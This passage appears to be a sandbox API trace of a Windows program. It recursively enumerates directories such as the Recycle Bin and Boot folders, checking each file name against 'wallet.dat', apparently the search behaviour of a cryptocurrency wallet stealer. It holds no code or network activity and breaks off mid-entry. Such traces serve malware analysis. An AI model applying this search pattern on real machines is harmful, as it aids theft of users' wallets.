[0266.409] lstrcmpW (lpString1="C:\\$Recycle.Bin", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.409] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\$Recycle.Bin" | out: psz1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0266.409] StrCpyW (in: psz1=0x6f0fd8, psz2="C:\\$Recycle.Bin" | out: psz1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0266.409] lstrlenW (lpString="\\*") returned 2 [0266.409] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0266.409] LocalAlloc (uFlags=0x40, uBytes=0x122) returned 0x6bf278 [0266.409] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*" (normalized: "c:\\$recycle.bin\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f05a8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.410] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.410] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.410] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.410] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f05a8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.410] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.410] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.410] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f05a8, dwReserved1=0x104, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0266.410] lstrcmpW (lpString1="S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2="..") returned 1 [0266.410] lstrcmpW (lpString1="S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2=".") returned 1 [0266.410] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f1fe0 [0266.410] PathCombineW (in: pszDest=0x6f1fe0, pszDir="C:\\$Recycle.Bin", pszFile="S-1-5-21-4219442223-4223814209-3835049652-1000" | out: pszDest="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000" [0266.410] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.410] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f2a10 [0266.410] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.410] lstrcmpW (lpString1="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.410] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000" | out: psz1="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000" [0266.410] StrCpyW (in: psz1=0x6f2a10, psz2="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000" | out: psz1="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000" [0266.411] lstrlenW (lpString="\\*") returned 2 [0266.411] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000") returned 62 [0266.411] LocalAlloc (uFlags=0x40, uBytes=0x180) returned 0x6f2c30 [0266.411] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f1fe0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.411] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.411] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.412] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.412] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f1fe0, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.412] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.412] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.412] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x6f1fe0, dwReserved1=0x104, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.412] lstrcmpW (lpString1="desktop.ini", lpString2="wallet.dat") returned -1 [0266.412] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x6f1fe0, dwReserved1=0x104, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0266.412] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.413] LocalFree (hMem=0x6f2c30) returned 0x0 [0266.413] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.413] LocalFree (hMem=0x6f1fe0) returned 0x0 [0266.413] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f05a8, dwReserved1=0x104, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0266.413] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.414] LocalFree (hMem=0x6bf278) returned 0x0 [0266.414] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.414] LocalFree (hMem=0x6f05a8) returned 0x0 [0266.414] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="Boot", cAlternateFileName="")) returned 1 [0266.414] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0266.414] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0266.414] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f15b0 [0266.414] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="Boot" | out: pszDest="C:\\Boot") returned="C:\\Boot" [0266.414] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.414] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f1fe0 [0266.414] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.414] lstrcmpW (lpString1="C:\\Boot", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.414] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Boot" | out: psz1="C:\\Boot") returned="C:\\Boot" [0266.414] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Boot" | out: psz1="C:\\Boot") returned="C:\\Boot" [0266.415] lstrlenW (lpString="\\*") returned 2 [0266.415] lstrlenW (lpString="C:\\Boot") returned 7 [0266.415] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x6bf278 [0266.415] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.415] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.415] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.415] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.416] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.416] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x35246c20, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x921ea430, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="BCD", cAlternateFileName="")) returned 1 [0266.416] lstrcmpW (lpString1="BCD", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x921c42d0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0266.416] lstrcmpW (lpString1="BCD.LOG", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0266.416] lstrcmpW (lpString1="BCD.LOG1", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0266.416] lstrcmpW (lpString1="BCD.LOG2", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0266.416] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="wallet.dat") returned -1 [0266.416] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0266.416] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0266.416] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0266.416] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.416] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="cs-CZ" | out: pszDest="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0266.416] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.416] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.416] lstrcmpW (lpString1="C:\\Boot\\cs-CZ", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.417] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\cs-CZ" | out: psz1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0266.417] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\cs-CZ" | out: psz1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0266.417] lstrlenW (lpString="\\*") returned 2 [0266.417] lstrlenW (lpString="C:\\Boot\\cs-CZ") returned 13 [0266.417] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.417] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*" (normalized: "c:\\boot\\cs-cz\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.419] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.419] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.419] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.419] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.419] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.419] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.419] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.419] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.419] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.420] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.420] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.420] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.420] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.420] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="da-DK", cAlternateFileName="")) returned 1 [0266.420] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0266.420] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0266.420] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.420] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="da-DK" | out: pszDest="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0266.420] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.421] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.421] lstrcmpW (lpString1="C:\\Boot\\da-DK", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.421] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\da-DK" | out: psz1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0266.421] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\da-DK" | out: psz1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0266.421] lstrlenW (lpString="\\*") returned 2 [0266.421] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0266.421] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.421] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*" (normalized: "c:\\boot\\da-dk\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.422] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.422] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.422] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.422] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.422] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.422] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.422] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.422] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.422] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.422] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.422] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.422] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.423] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.423] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="de-DE", cAlternateFileName="")) returned 1 [0266.423] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0266.423] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0266.423] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.423] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="de-DE" | out: pszDest="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0266.423] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.423] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.423] lstrcmpW (lpString1="C:\\Boot\\de-DE", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.423] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\de-DE" | out: psz1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0266.423] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\de-DE" | out: psz1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0266.423] lstrlenW (lpString="\\*") returned 2 [0266.423] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0266.423] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 